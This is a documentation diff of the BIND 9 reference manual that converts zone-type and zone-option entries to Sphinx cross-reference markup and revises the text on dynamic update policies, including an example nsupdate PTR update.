+   ``yes``, so mirror zones are by default configured with ``notify
+   explicit;``.
 
    Outgoing transfers of mirror zones are disabled by default but may be
-   enabled using :ref:`allow-transfer <allow-transfer-access>`.
+   enabled using :any:`allow-transfer`.
 
    .. note::
-      Use of this zone type with any zone other than the root should
-      be considered *experimental* and may cause performance issues, especially
-      for zones which are large and/or frequently updated.
+      Use of this zone type with any zone other than the root should be
+      considered *experimental* and may cause performance issues,
+      especially for zones that are large and/or frequently updated.
+
+.. namedconf:statement:: type hint
+   :tags: zone
+   :short: Contains the initial set of root name servers to be used at BIND 9 startup.
 
-``hint``
    The initial set of root name servers is specified using a hint zone.
    When the server starts, it uses the root hints to find a root name
    server and get the most recent list of root name servers. If no hint zone
    is specified for class IN, the server uses a compiled-in default set of
    root servers hints. Classes other than IN have no built-in default hints.
 
-``stub``
+.. namedconf:statement:: type stub
+   :tags: zone
+   :short: Contains a duplicate of the NS records of a primary zone.
+
    A stub zone is similar to a secondary zone, except that it replicates only
    the NS records of a primary zone instead of the entire zone. Stub zones
    are not a standard part of the DNS; they are a feature specific to the
@@ -5351,7 +6708,7 @@ or ``delegation-only``.
 
    Stub zones can be used to eliminate the need for a glue NS record in a parent
    zone, at the expense of maintaining a stub zone entry and a set of name
-   server addresses in ``named.conf``. This usage is not recommended for
+   server addresses in :iscman:`named.conf`. This usage is not recommended for
    new configurations, and BIND 9 supports it only in a limited way. If a BIND 9
    primary, serving a parent zone, has child stub
    zones configured, all the secondary servers for the parent zone also need to
@@ -5363,7 +6720,10 @@ or ``delegation-only``.
    configured with stub zones for ``10.in-addr.arpa`` to use a set of
    internal name servers as the authoritative servers for that domain.
 
-``static-stub``
+.. namedconf:statement:: type static-stub
+   :tags: zone
+   :short: Contains a duplicate of the NS records of a primary zone, but statically configured rather than transferred from a primary server.
+
    A static-stub zone is similar to a stub zone, with the following
    exceptions: the zone data is statically configured, rather than
    transferred from a primary server; and when recursion is necessary for a query
@@ -5371,12 +6731,12 @@ or ``delegation-only``.
    names and glue addresses) is always used, even if different authoritative
    information is cached.
 
-   Zone data is configured via the ``server-addresses`` and ``server-names``
+   Zone data is configured via the :any:`server-addresses` and :any:`server-names`
    zone options.
 
    The zone data is maintained in the form of NS and (if necessary) glue A or
    AAAA RRs internally, which can be seen by dumping zone databases with
-   ``rndc dumpdb -all``. The configured RRs are considered local configuration
+   :option:`rndc dumpdb -all <rndc dumpdb>`. The configured RRs are considered local configuration
    parameters rather than public data. Non-recursive queries (i.e., those
    with the RD bit off) to a static-stub zone are therefore prohibited and
    are responded to with REFUSED.
@@ -5389,29 +6749,35 @@ or ``delegation-only``.
    Each static-stub zone is configured with internally generated NS and (if
    necessary) glue A or AAAA RRs.
 
-``forward``
+.. namedconf:statement:: type forward
+   :tags: zone
+   :short: Contains forwarding statements that apply to queries within a given domain.
+
    A forward zone is a way to configure forwarding on a per-domain basis.
-   A ``zone`` statement of type ``forward`` can contain a ``forward`` and/or
-   ``forwarders`` statement, which applies to queries within the domain
-   given by the zone name. If no ``forwarders`` statement is present, or an
-   empty list for ``forwarders`` is given, then no forwarding is done
-   for the domain, canceling the effects of any forwarders in the ``options``
+   A :any:`zone` statement of type :any:`forward` can contain a :any:`forward` and/or
+   :any:`forwarders` statement, which applies to queries within the domain
+   given by the zone name. If no :any:`forwarders` statement is present, or an
+   empty list for :any:`forwarders` is given, then no forwarding is done
+   for the domain, canceling the effects of any forwarders in the :namedconf:ref:`options`
    statement. Thus, to use this type of zone to change the
-   behavior of the global ``forward`` option (that is, "forward first" to,
+   behavior of the global :any:`forward` option (that is, "forward first" to,
    then "forward only", or vice versa), but use the same servers as set
    globally, re-specify the global forwarders.
 
-``redirect``
+.. namedconf:statement:: type redirect
+   :tags: zone
+   :short: Contains information to answer queries when normal resolution would return NXDOMAIN.
+
    Redirect zones are used to provide answers to queries when normal
    resolution would result in NXDOMAIN being returned. Only one redirect zone
-   is supported per view. ``allow-query`` can be used to restrict which
+   is supported per view. :any:`allow-query` can be used to restrict which
    clients see these answers.
 
    If the client has requested DNSSEC records (DO=1) and the NXDOMAIN response
    is signed, no substitution occurs.
 
    To redirect all NXDOMAIN responses to 100.100.100.2 and
-   2001:ffff:ffff::100.100.100.2, configure a type ``redirect`` zone
+   2001:ffff:ffff::100.100.100.2, configure a type :any:`redirect <type redirect>` zone
    named ".", with the zone file containing wildcard records that point to
    the desired addresses: ``*. IN A 100.100.100.2`` and
    ``*. IN AAAA 2001:ffff:ffff::100.100.100.2``.
@@ -5424,35 +6790,27 @@ or ``delegation-only``.
    Note that the redirect zone supports all possible types; it is not
    limited to A and AAAA records.
 
-   If a redirect zone is configured with a ``primaries`` option, then it is
+   If a redirect zone is configured with a :any:`primaries` option, then it is
    transferred in as if it were a secondary zone. Otherwise, it is loaded from a
    file as if it were a primary zone.
 
    Because redirect zones are not referenced directly by name, they are not
    kept in the zone lookup table with normal primary and secondary zones. To reload
-   a redirect zone, use ``rndc reload -redirect``; to retransfer a
-   redirect zone configured as a secondary, use ``rndc retransfer -redirect``.
-   When using ``rndc reload`` without specifying a zone name, redirect
+   a redirect zone, use :option:`rndc reload -redirect <rndc reload>`; to retransfer a
+   redirect zone configured as a secondary, use :option:`rndc retransfer -redirect <rndc retransfer>`.
+   When using :option:`rndc reload` without specifying a zone name, redirect
    zones are reloaded along with other zones.
 
-``delegation-only``
-   This zone type is used to enforce the delegation-only status of infrastructure
-   zones (e.g., COM, NET, ORG). Any answer that is received without an
-   explicit or implicit delegation in the authority section is treated
-   as NXDOMAIN. This does not apply to the zone apex, and should not be
-   applied to leaf zones.
-
-   ``delegation-only`` has no effect on answers received from forwarders.
-
-   See caveats in :ref:`root-delegation-only <root-delegation-only>`.
+.. namedconf:statement:: in-view
+   :tags: view, zone
+   :short: Specifies the view in which a given zone is defined.
 
-``in-view``
-   When using multiple views, a ``primary`` or ``secondary`` zone configured
+   When using multiple views, a :any:`type primary` or :any:`type secondary` zone configured
    in one view can be referenced in a subsequent view. This allows both views
    to use the same zone without the overhead of loading it more than once. This
-   is configured using a ``zone`` statement, with an ``in-view`` option
-   specifying the view in which the zone is defined. A ``zone`` statement
-   containing ``in-view`` does not need to specify a type, since that is part
+   is configured using a :any:`zone` statement, with an :any:`in-view` option
+   specifying the view in which the zone is defined. A :any:`zone` statement
+   containing :any:`in-view` does not need to specify a type, since that is part
    of the zone definition in the other view.
 
    See :ref:`multiple_views` for more information.
@@ -5477,81 +6835,84 @@ mid-1970s. Zone data for it can be specified with the ``CHAOS`` class.
 Zone Options
 ^^^^^^^^^^^^
 
-``allow-notify``
-   See the description of ``allow-notify`` in :ref:`access_control`.
+:any:`allow-notify`
+   See the description of :any:`allow-notify` in :ref:`access_control`.
 
-``allow-query``
-   See the description of ``allow-query`` in :ref:`access_control`.
+:any:`allow-query`
+   See the description of :any:`allow-query` in :ref:`access_control`.
 
-``allow-query-on``
-   See the description of ``allow-query-on`` in :ref:`access_control`.
+:any:`allow-query-on`
+   See the description of :any:`allow-query-on` in :ref:`access_control`.
 
-``allow-transfer``
-   See the description of ``allow-transfer`` in :ref:`access_control`.
+:any:`allow-transfer`
+   See the description of :any:`allow-transfer` in :ref:`access_control`.
 
-``allow-update``
-   See the description of ``allow-update`` in :ref:`access_control`.
+:any:`allow-update`
+   See the description of :any:`allow-update` in :ref:`access_control`.
 
-``update-policy``
+:any:`update-policy`
    This specifies a "Simple Secure Update" policy. See :ref:`dynamic_update_policies`.
 
-``allow-update-forwarding``
-   See the description of ``allow-update-forwarding`` in :ref:`access_control`.
+:any:`allow-update-forwarding`
+   See the description of :any:`allow-update-forwarding` in :ref:`access_control`.
 
-``also-notify``
-   This option is only meaningful if ``notify`` is active for this zone. The set of
+:any:`also-notify`
+   This option is only meaningful if :namedconf:ref:`notify` is active for this zone. The set of
    machines that receive a ``DNS NOTIFY`` message for this zone is
    made up of all the listed name servers (other than the primary)
    for the zone, plus any IP addresses specified with
-   ``also-notify``. A port may be specified with each ``also-notify``
+   :any:`also-notify`. A port may be specified with each :any:`also-notify`
    address to send the notify messages to a port other than the default
    of 53. A TSIG key may also be specified to cause the ``NOTIFY`` to be
-   signed by the given key. ``also-notify`` is not meaningful for stub
+   signed by the given key. :any:`also-notify` is not meaningful for stub
    zones. The default is the empty list.
 
-``check-names``
+:any:`check-names`
    This option is used to restrict the character set and syntax of
    certain domain names in primary files and/or DNS responses received
    from the network. The default varies according to zone type. For
-   ``primary`` zones the default is ``fail``; for ``secondary`` zones the
-   default is ``warn``. It is not implemented for ``hint`` zones.
+   :any:`primary <type primary>` zones the default is ``fail``; for :any:`secondary <type secondary>` zones the
+   default is ``warn``. It is not implemented for :any:`hint <type hint>` zones.
 
-``check-mx``
-   See the description of ``check-mx`` in :ref:`boolean_options`.
+:any:`check-mx`
+   See the description of :any:`check-mx` in :ref:`boolean_options`.
 
-``check-spf``
-   See the description of ``check-spf`` in :ref:`boolean_options`.
+:any:`check-spf`
+   See the description of :any:`check-spf` in :ref:`boolean_options`.
 
-``check-wildcard``
-   See the description of ``check-wildcard`` in :ref:`boolean_options`.
+:any:`check-wildcard`
+   See the description of :any:`check-wildcard` in :ref:`boolean_options`.
 
-``check-integrity``
-   See the description of ``check-integrity`` in :ref:`boolean_options`.
+:any:`check-integrity`
+   See the description of :any:`check-integrity` in :ref:`boolean_options`.
 
-``check-sibling``
-   See the description of ``check-sibling`` in :ref:`boolean_options`.
+:any:`check-sibling`
+   See the description of :any:`check-sibling` in :ref:`boolean_options`.
 
-``zero-no-soa-ttl``
-   See the description of ``zero-no-soa-ttl`` in :ref:`boolean_options`.
+:any:`zero-no-soa-ttl`
+   See the description of :any:`zero-no-soa-ttl` in :ref:`boolean_options`.
 
-``update-check-ksk``
-   See the description of ``update-check-ksk`` in :ref:`boolean_options`.
+:any:`update-check-ksk`
+   See the description of :any:`update-check-ksk` in :ref:`boolean_options`.
 
-``dnssec-loadkeys-interval``
-   See the description of ``dnssec-loadkeys-interval`` in :ref:`options`.
+:any:`dnssec-loadkeys-interval`
+   See the description of :any:`dnssec-loadkeys-interval` in :namedconf:ref:`options`.
 
-``dnssec-update-mode``
-   See the description of ``dnssec-update-mode`` in :ref:`options`.
+:any:`dnssec-update-mode`
+   See the description of :any:`dnssec-update-mode` in :namedconf:ref:`options`.
 
-``dnssec-dnskey-kskonly``
-   See the description of ``dnssec-dnskey-kskonly`` in :ref:`boolean_options`.
+:any:`dnssec-dnskey-kskonly`
+   See the description of :any:`dnssec-dnskey-kskonly` in :ref:`boolean_options`.
 
-``try-tcp-refresh``
-   See the description of ``try-tcp-refresh`` in :ref:`boolean_options`.
+:any:`try-tcp-refresh`
+   See the description of :any:`try-tcp-refresh` in :ref:`boolean_options`.
+
+.. namedconf:statement:: database
+   :tags: zone
+   :short: Specifies the type of database to be used to store zone data.
 
-``database``
    This specifies the type of database to be used to store the zone data.
-   The string following the ``database`` keyword is interpreted as a
+   The string following the :any:`database` keyword is interpreted as a
    list of whitespace-delimited words. The first word identifies the
    database type, and any subsequent words are passed as arguments to
    the database to be interpreted in a way specific to the database
@@ -5564,82 +6925,82 @@ Zone Options
    linked into the server. Some sample drivers are included with the
    distribution but none are linked in by default.
 
-``dialup``
-   See the description of ``dialup`` in :ref:`boolean_options`.
-
-``delegation-only``
-   This flag only applies to forward, hint, and stub zones. If set to
-   ``yes``, then the zone is treated as if it is also a
-   delegation-only type zone.
+:any:`dialup`
+   See the description of :any:`dialup` in :ref:`boolean_options`.
 
-   See caveats in :ref:`root-delegation-only <root-delegation-only>`.
+.. namedconf:statement:: file
+   :tags: zone
+   :short: Specifies the zone's filename.
 
-.. _file-option:
-
-``file``
-   This sets the zone's filename. In ``primary``, ``hint``, and ``redirect``
-   zones which do not have ``primaries`` defined, zone data is loaded from
-   this file. In ``secondary``, ``mirror``, ``stub``, and ``redirect`` zones
-   which do have ``primaries`` defined, zone data is retrieved from
+   This sets the zone's filename. In :any:`primary <type primary>`, :any:`hint <type hint>`, and :any:`redirect <type redirect>`
+   zones which do not have :any:`primaries` defined, zone data is loaded from
+   this file. In :any:`secondary <type secondary>`, :any:`mirror <type mirror>`, :any:`stub <type stub>`, and :any:`redirect <type redirect>` zones
+   which do have :any:`primaries` defined, zone data is retrieved from
    another server and saved in this file. This option is not applicable
    to other zone types.
 
-``forward``
+:any:`forward`
    This option is only meaningful if the zone has a forwarders list. The ``only`` value
    causes the lookup to fail after trying the forwarders and getting no
    answer, while ``first`` allows a normal lookup to be tried.
 
-``forwarders``
+:any:`forwarders`
    This is used to override the list of global forwarders. If it is not
-   specified in a zone of type ``forward``, no forwarding is done for
+   specified in a zone of type :any:`forward`, no forwarding is done for
    the zone and the global options are not used.
 
-``journal``
+.. namedconf:statement:: journal
+   :tags: zone
+   :short: Allows the default journal's filename to be overridden.
+
    This allows the default journal's filename to be overridden. The default is
    the zone's filename with "``.jnl``" appended. This is applicable to
-   ``primary`` and ``secondary`` zones.
+   :any:`primary <type primary>` and :any:`secondary <type secondary>` zones.
+
+:any:`max-ixfr-ratio`
+   See the description of :any:`max-ixfr-ratio` in :namedconf:ref:`options`.
 
-``max-ixfr-ratio``
-   See the description of ``max-ixfr-ratio`` in :ref:`options`.
+:any:`max-journal-size`
+   See the description of :any:`max-journal-size` in :ref:`server_resource_limits`.
 
-``max-journal-size``
-   See the description of ``max-journal-size`` in :ref:`server_resource_limits`.
+:any:`max-records`
+   See the description of :any:`max-records` in :ref:`server_resource_limits`.
 
-``max-records``
-   See the description of ``max-records`` in :ref:`server_resource_limits`.
+:any:`max-transfer-time-in`
+   See the description of :any:`max-transfer-time-in` in :ref:`zone_transfers`.
 
-``max-transfer-time-in``
-   See the description of ``max-transfer-time-in`` in :ref:`zone_transfers`.
+:any:`max-transfer-idle-in`
+   See the description of :any:`max-transfer-idle-in` in :ref:`zone_transfers`.
 
-``max-transfer-idle-in``
-   See the description of ``max-transfer-idle-in`` in :ref:`zone_transfers`.
+:any:`max-transfer-time-out`
+   See the description of :any:`max-transfer-time-out` in :ref:`zone_transfers`.
 
-``max-transfer-time-out``
-   See the description of ``max-transfer-time-out`` in :ref:`zone_transfers`.
+:any:`max-transfer-idle-out`
+   See the description of :any:`max-transfer-idle-out` in :ref:`zone_transfers`.
 
-``max-transfer-idle-out``
-   See the description of ``max-transfer-idle-out`` in :ref:`zone_transfers`.
+:namedconf:ref:`notify`
+   See the description of :namedconf:ref:`notify` in :ref:`boolean_options`.
 
-``notify``
-   See the description of ``notify`` in :ref:`boolean_options`.
+:any:`notify-delay`
+   See the description of :any:`notify-delay` in :ref:`tuning`.
 
-``notify-delay``
-   See the description of ``notify-delay`` in :ref:`tuning`.
+:any:`notify-to-soa`
+   See the description of :any:`notify-to-soa` in :ref:`boolean_options`.
 
-``notify-to-soa``
-   See the description of ``notify-to-soa`` in :ref:`boolean_options`.
+:any:`zone-statistics`
+   See the description of :any:`zone-statistics` in :namedconf:ref:`options`.
 
-``zone-statistics``
-   See the description of ``zone-statistics`` in :ref:`options`.
+.. namedconf:statement:: server-addresses
+   :tags: query, zone
+   :short: Specifies a list of IP addresses to which queries should be sent in recursive resolution for a static-stub zone.
 
-``server-addresses``
    This option is only meaningful for static-stub zones. This is a list of IP addresses
    to which queries should be sent in recursive resolution for the zone.
    A non-empty list for this option internally configures the apex
    NS RR with associated glue A or AAAA RRs.
 
    For example, if "example.com" is configured as a static-stub zone
-   with 192.0.2.1 and 2001:db8::1234 in a ``server-addresses`` option,
+   with 192.0.2.1 and 2001:db8::1234 in a :any:`server-addresses` option,
    the following RRs are internally configured:
 
    ::
@@ -5654,21 +7015,24 @@ Zone Options
    recursive resolution and sends queries to 192.0.2.1 and/or
    2001:db8::1234.
 
-``server-names``
+.. namedconf:statement:: server-names
+   :tags: zone
+   :short: Specifies a list of domain names of name servers that act as authoritative servers of a static-stub zone.
+
    This option is only meaningful for static-stub zones. This is a list of domain names
    of name servers that act as authoritative servers of the static-stub
-   zone. These names are resolved to IP addresses when ``named``
+   zone. These names are resolved to IP addresses when :iscman:`named`
    needs to send queries to these servers. For this supplemental
    resolution to be successful, these names must not be a subdomain of the
    origin name of the static-stub zone. That is, when "example.net" is the
    origin of a static-stub zone, "ns.example" and "master.example.com"
-   can be specified in the ``server-names`` option, but "ns.example.net"
+   can be specified in the :any:`server-names` option, but "ns.example.net"
    cannot; it is rejected by the configuration parser.
 
    A non-empty list for this option internally configures the apex
    NS RR with the specified names. For example, if "example.com" is
    configured as a static-stub zone with "ns1.example.net" and
-   "ns2.example.net" in a ``server-names`` option, the following RRs
+   "ns2.example.net" in a :any:`server-names` option, the following RRs
    are internally configured:
 
    ::
@@ -5682,74 +7046,66 @@ Zone Options
    resolution, resolves "ns1.example.net" and/or "ns2.example.net" to IP
    addresses, and then sends queries to one or more of these addresses.
 
-``sig-validity-interval``
-   See the description of ``sig-validity-interval`` in :ref:`tuning`.
+:any:`sig-validity-interval`
+   See the description of :any:`sig-validity-interval` in :ref:`tuning`.
 
-``sig-signing-nodes``
-   See the description of ``sig-signing-nodes`` in :ref:`tuning`.
+:any:`sig-signing-nodes`
+   See the description of :any:`sig-signing-nodes` in :ref:`tuning`.
 
-``sig-signing-signatures``
-   See the description of ``sig-signing-signatures`` in
+:any:`sig-signing-signatures`
+   See the description of :any:`sig-signing-signatures` in
    :ref:`tuning`.
 
-``sig-signing-type``
-   See the description of ``sig-signing-type`` in :ref:`tuning`.
-
-``transfer-source``
-   See the description of ``transfer-source`` in :ref:`zone_transfers`.
+:any:`sig-signing-type`
+   See the description of :any:`sig-signing-type` in :ref:`tuning`.
 
-``transfer-source-v6``
-   See the description of ``transfer-source-v6`` in :ref:`zone_transfers`.
+:any:`transfer-source`
+   See the description of :any:`transfer-source` in :ref:`zone_transfers`.
 
-``alt-transfer-source``
-   See the description of ``alt-transfer-source`` in :ref:`zone_transfers`.
+:any:`transfer-source-v6`
+   See the description of :any:`transfer-source-v6` in :ref:`zone_transfers`.
 
-``alt-transfer-source-v6``
-   See the description of ``alt-transfer-source-v6`` in :ref:`zone_transfers`.
+:any:`notify-source`
+   See the description of :any:`notify-source` in :ref:`zone_transfers`.
 
-``use-alt-transfer-source``
-   See the description of ``use-alt-transfer-source`` in :ref:`zone_transfers`.
+:any:`notify-source-v6`
+   See the description of :any:`notify-source-v6` in :ref:`zone_transfers`.
 
-``notify-source``
-   See the description of ``notify-source`` in :ref:`zone_transfers`.
-
-``notify-source-v6``
-   See the description of ``notify-source-v6`` in :ref:`zone_transfers`.
-
-``min-refresh-time``; ``max-refresh-time``; ``min-retry-time``; ``max-retry-time``
+:any:`min-refresh-time`; :any:`max-refresh-time`; :any:`min-retry-time`; :any:`max-retry-time`
    See the descriptions in :ref:`tuning`.
 
-``ixfr-from-differences``
-   See the description of ``ixfr-from-differences`` in :ref:`boolean_options`.
-   (Note that the ``ixfr-from-differences`` choices of ``primary`` and ``secondary``
+:any:`ixfr-from-differences`
+   See the description of :any:`ixfr-from-differences` in :ref:`boolean_options`.
+   (Note that the :any:`ixfr-from-differences` choices of :any:`primary <type primary>` and :any:`secondary <type secondary>`
    are not available at the zone level.)
 
-``key-directory``
-   See the description of ``key-directory`` in :ref:`options`.
+:any:`key-directory`
+   See the description of :any:`key-directory` in :namedconf:ref:`options`.
 
-``auto-dnssec``
-   See the description of ``auto-dnssec`` in :ref:`options`.
+:any:`serial-update-method`
+   See the description of :any:`serial-update-method` in :namedconf:ref:`options`.
 
-``serial-update-method``
-   See the description of ``serial-update-method`` in :ref:`options`.
+.. namedconf:statement:: inline-signing
+   :tags: dnssec, zone
+   :short: Specifies whether BIND 9 maintains a separate signed version of a zone.
 
-``inline-signing``
-   If ``yes``, this enables "bump in the wire" signing of a zone, where
-   an unsigned zone is transferred in or loaded from disk and a signed
+   If ``yes``, BIND 9 maintains a separate signed version of the zone.
+   An unsigned zone is transferred in or loaded from disk and the signed
    version of the zone is served with, possibly, a different serial
-   number. This behavior is disabled by default.
+   number. The signed version of the zone is stored in a file that is
+   the zone's filename (set in :any:`file`) with a ``.signed`` extension.
+   This behavior is disabled by default.
 
-``multi-master``
-   See the description of ``multi-master`` in :ref:`boolean_options`.
+:any:`multi-master`
+   See the description of :any:`multi-master` in :ref:`boolean_options`.
 
-``masterfile-format``
-   See the description of ``masterfile-format`` in :ref:`tuning`.
+:any:`masterfile-format`
+   See the description of :any:`masterfile-format` in :ref:`tuning`.
 
-``max-zone-ttl``
-   See the description of ``max-zone-ttl`` in :ref:`options`.
-
-``dnssec-secure-to-insecure``
-   See the description of ``dnssec-secure-to-insecure`` in :ref:`boolean_options`.
+:any:`max-zone-ttl`
+   See the description of :any:`max-zone-ttl` in :namedconf:ref:`options`.
+   The use of this option in :any:`zone` blocks is deprecated and
+   will be rendered nonoperational in a future release.
 
 .. _dynamic_update_policies:
 
@@ -5757,219 +7113,245 @@ Dynamic Update Policies
 ^^^^^^^^^^^^^^^^^^^^^^^
 
 BIND 9 supports two methods of granting clients the right to
-perform dynamic updates to a zone, configured by the ``allow-update``
-or ``update-policy`` options.
-
-The ``allow-update`` clause is a simple access control list. Any client
-that matches the ACL is granted permission to update any record in the
-zone.
-
-The ``update-policy`` clause allows more fine-grained control over which
-updates are allowed. It specifies a set of rules, in which each rule
-either grants or denies permission for one or more names in the zone to
-be updated by one or more identities. Identity is determined by the key
-that signed the update request, using either TSIG or SIG(0). In most
-cases, ``update-policy`` rules only apply to key-based identities. There
-is no way to specify update permissions based on the client source address.
-
-``update-policy`` rules are only meaningful for zones of type
-``primary``, and are not allowed in any other zone type. It is a
-configuration error to specify both ``allow-update`` and
-``update-policy`` at the same time.
-
-A pre-defined ``update-policy`` rule can be switched on with the command
-``update-policy local;``. ``named`` automatically
-generates a TSIG session key when starting and stores it in a file;
-this key can then be used by local clients to update the zone while
-``named`` is running. By default, the session key is stored in the file
-``/var/run/named/session.key``, the key name is "local-ddns", and the
-key algorithm is HMAC-SHA256. These values are configurable with the
-``session-keyfile``, ``session-keyname``, and ``session-keyalg`` options,
-respectively. A client running on the local system, if run with
-appropriate permissions, may read the session key from the key file and
-use it to sign update requests. The zone's update policy is set to
-allow that key to change any record within the zone. Assuming the key
-name is "local-ddns", this policy is equivalent to:
+perform dynamic updates to a zone:
+
+- :namedconf:ref:`allow-update` - a simple access control list
+- :namedconf:ref:`update-policy` - fine-grained access control
+
+In both cases, BIND 9 writes the updates to the zone's filename
+set in :any:`file`.
+
+In the case of a DNSSEC zone, DNSSEC records are also written to
+the zone's filename, unless :any:`inline-signing` is enabled.
+
+   .. note:: The zone file can no longer be manually updated while ``named``
+      is running; it is now necessary to perform :option:`rndc freeze`, edit,
+      and then perform :option:`rndc thaw`. Comments and formatting
+      in the zone file are lost when dynamic updates occur.
+
+.. namedconf:statement:: update-policy
+   :tags: transfer
+   :short: Sets fine-grained rules to allow or deny dynamic updates (DDNS), based on requester identity, updated content, etc.
+
+   The :any:`update-policy` clause allows more fine-grained control over which
+   updates are allowed. It specifies a set of rules, in which each rule
+   either grants or denies permission for one or more names in the zone to
+   be updated by one or more identities. Identity is determined by the key
+   that signed the update request, using either TSIG or SIG(0). In most
+   cases, :any:`update-policy` rules only apply to key-based identities. There
+   is no way to specify update permissions based on the client source address.
+
+   :any:`update-policy` rules are only meaningful for zones of
+   :any:`type primary`, and are not allowed in any other zone type. It is a
+   configuration error to specify both :any:`allow-update` and
+   :any:`update-policy` at the same time.
+
+   A pre-defined :any:`update-policy` rule can be switched on with the command
+   ``update-policy local;``. :iscman:`named` automatically
+   generates a TSIG session key when starting and stores it in a file;
+   this key can then be used by local clients to update the zone while
+   :iscman:`named` is running. By default, the session key is stored in the file
+   |session_key|, the key name is "local-ddns", and the
+   key algorithm is HMAC-SHA256. These values are configurable with the
+   :any:`session-keyfile`, :any:`session-keyname`, and :any:`session-keyalg` options,
+   respectively. A client running on the local system, if run with
+   appropriate permissions, may read the session key from the key file and
+   use it to sign update requests. The zone's update policy is set to
+   allow that key to change any record within the zone. Assuming the key
+   name is "local-ddns", this policy is equivalent to:
 
-::
+   ::
 
-   update-policy { grant local-ddns zonesub any; };
+      update-policy { grant local-ddns zonesub any; };
 
-with the additional restriction that only clients connecting from the
-local system are permitted to send updates.
+   with the additional restriction that only clients connecting from the
+   local system are permitted to send updates.
 
-Note that only one session key is generated by ``named``; all zones
-configured to use ``update-policy local`` accept the same key.
+   Note that only one session key is generated by :iscman:`named`; all zones
+   configured to use ``update-policy local`` accept the same key.
 
-The command ``nsupdate -l`` implements this feature, sending requests to
-localhost and signing them using the key retrieved from the session key
-file.
+   The command ``nsupdate -l`` implements this feature, sending requests to
+   localhost and signing them using the key retrieved from the session key
+   file.
 
-Other rule definitions look like this:
+   Other rule definitions look like this:
 
-::
+   ::
 
-   ( grant | deny ) identity ruletype  name   types
-
-Each rule grants or denies privileges. Rules are checked in the order in
-which they are specified in the ``update-policy`` statement. Once a
-message has successfully matched a rule, the operation is immediately
-granted or denied, and no further rules are examined. There are 16 types
-of rules; the rule type is specified by the ``ruletype`` field, and the
-interpretation of other fields varies depending on the rule type.
-
-In general, a rule is matched when the key that signed an update request
-matches the ``identity`` field, the name of the record to be updated
-matches the ``name`` field (in the manner specified by the ``ruletype``
-field), and the type of the record to be updated matches the ``types``
-field. Details for each rule type are described below.
-
-The ``identity`` field must be set to a fully qualified domain name. In
-most cases, this represents the name of the TSIG or SIG(0) key that
-must be used to sign the update request. If the specified name is a
-wildcard, it is subject to DNS wildcard expansion, and the rule may
-apply to multiple identities. When a TKEY exchange has been used to
-create a shared secret, the identity of the key used to authenticate the
-TKEY exchange is used as the identity of the shared secret. Some
-rule types use identities matching the client's Kerberos principal (e.g,
-``"host/machine@REALM"``) or Windows realm (``machine$@REALM``).
-
-The ``name`` field also specifies a fully qualified domain name. This often
-represents the name of the record to be updated. Interpretation of this
-field is dependent on rule type.
-
-If no ``types`` are explicitly specified, then a rule matches all types
-except RRSIG, NS, SOA, NSEC, and NSEC3. Types may be specified by name,
-including ``ANY``; ANY matches all types except NSEC and NSEC3, which can
-never be updated. Note that when an attempt is made to delete all
-records associated with a name, the rules are checked for each existing
-record type.
-
-If the type is immediately followed by a number in parentheses,
-that number is the maximum number of records of that type permitted
-to exist in the RRset after an update has been applied.  For example,
-``PTR(1)`` indicates that only one PTR record is allowed. If an
-attempt is made to add two PTR records in an update, the second one
-is silently discarded. If a PTR record already exists, both
-new records are silently discarded.
-
-If type ANY is specified with a limit, then that limit applies to
-all types that are not otherwise specified.  For example, ``A PTR(1)
-ANY(2)`` indicates that an unlimited number of A records can exist,
-but only one PTR record, and no more than two of any other type.
-
-Typical use with a rule ``grant * tcp-self . PTR(1);`` in the zone
-2.0.192.IN-ADDR.ARPA looks like this:
+      ( grant | deny ) identity ruletype  name   types
+
+   Each rule grants or denies privileges. Rules are checked in the order in
+   which they are specified in the :any:`update-policy` statement. Once a
+   message has successfully matched a rule, the operation is immediately
+   granted or denied, and no further rules are examined. There are 16 types
+   of rules; the rule type is specified by the ``ruletype`` field, and the
+   interpretation of other fields varies depending on the rule type.
+
+   In general, a rule is matched when the key that signed an update request
+   matches the ``identity`` field, the name of the record to be updated
+   matches the ``name`` field (in the manner specified by the ``ruletype``
+   field), and the type of the record to be updated matches the ``types``
+   field. Details for each rule type are described below.
+
+   The ``identity`` field must be set to a fully qualified domain name. In
+   most cases, this represents the name of the TSIG or SIG(0) key that
+   must be used to sign the update request. If the specified name is a
+   wildcard, it is subject to DNS wildcard expansion, and the rule may
+   apply to multiple identities. When a TKEY exchange has been used to
+   create a shared secret, the identity of the key used to authenticate the
+   TKEY exchange is used as the identity of the shared secret. Some
+   rule types use identities matching the client's Kerberos principal (e.g,
+   ``"host/machine@REALM"``) or Windows realm (``machine$@REALM``).
+
+   The ``name`` field also specifies a fully qualified domain name. This often
+   represents the name of the record to be updated. Interpretation of this
+   field is dependent on rule type.
+
+   If no ``types`` are explicitly specified, then a rule matches all types
+   except RRSIG, NS, SOA, NSEC, and NSEC3. Types may be specified by name,
+   including ``ANY``; ANY matches all types except NSEC and NSEC3, which can
+   never be updated. Note that when an attempt is made to delete all
+   records associated with a name, the rules are checked for each existing
+   record type.
+
+   If the type is immediately followed by a number in parentheses,
+   that number is the maximum number of records of that type permitted
+   to exist in the RRset after an update has been applied.  For example,
+   ``PTR(1)`` indicates that only one PTR record is allowed. If an
+   attempt is made to add two PTR records in an update, the second one
+   is silently discarded. If a PTR record already exists, both
+   new records are silently discarded.
+
+   If type ANY is specified with a limit, then that limit applies to
+   all types that are not otherwise specified.  For example, ``A PTR(1)
+   ANY(2)`` indicates that an unlimited number of A records can exist,
+   but only one PTR record, and no more than two of any other type.
+
+   Typical use with a rule ``grant * tcp-self . PTR(1);`` in the zone
+   2.0.192.IN-ADDR.ARPA looks like this:
 
-::
+   ::
 
-  nsupdate -v <<EOF
-  local 192.0.2.1
-  del 1.2.0.192.IN-ADDR.ARPA PTR
-  add 1.2.0.192.IN-ADDR.ARPA 0 PTR EXAMPLE.COM
-  send
-  EOF
+     nsupdate -v <<EOF
+     local 192.0.2.1
+     del 1.2.0.192.IN-ADDR.ARPA PTR
+     add 1.2.0.192.IN-ADDR.ARPA 0 PTR EXAMPLE.COM
+     send
+     EOF
 
-The ruletype field has 16 values: ``name``, ``subdomain``, ``zonesub``, ``wildcard``,
-``self``, ``selfsub``, ``selfwild``, ``ms-self``, ``ms-selfsub``, ``ms-subdomain``,
-``krb5-self``, ``krb5-selfsub``, ``krb5-subdomain``, 
-``tcp-self``, ``6to4-self``, and ``external``.
+   The ruletype field has 20 values: ``name``, ``subdomain``, ``zonesub``,
+   ``wildcard``, ``self``, ``selfsub``, ``selfwild``, ``ms-self``,
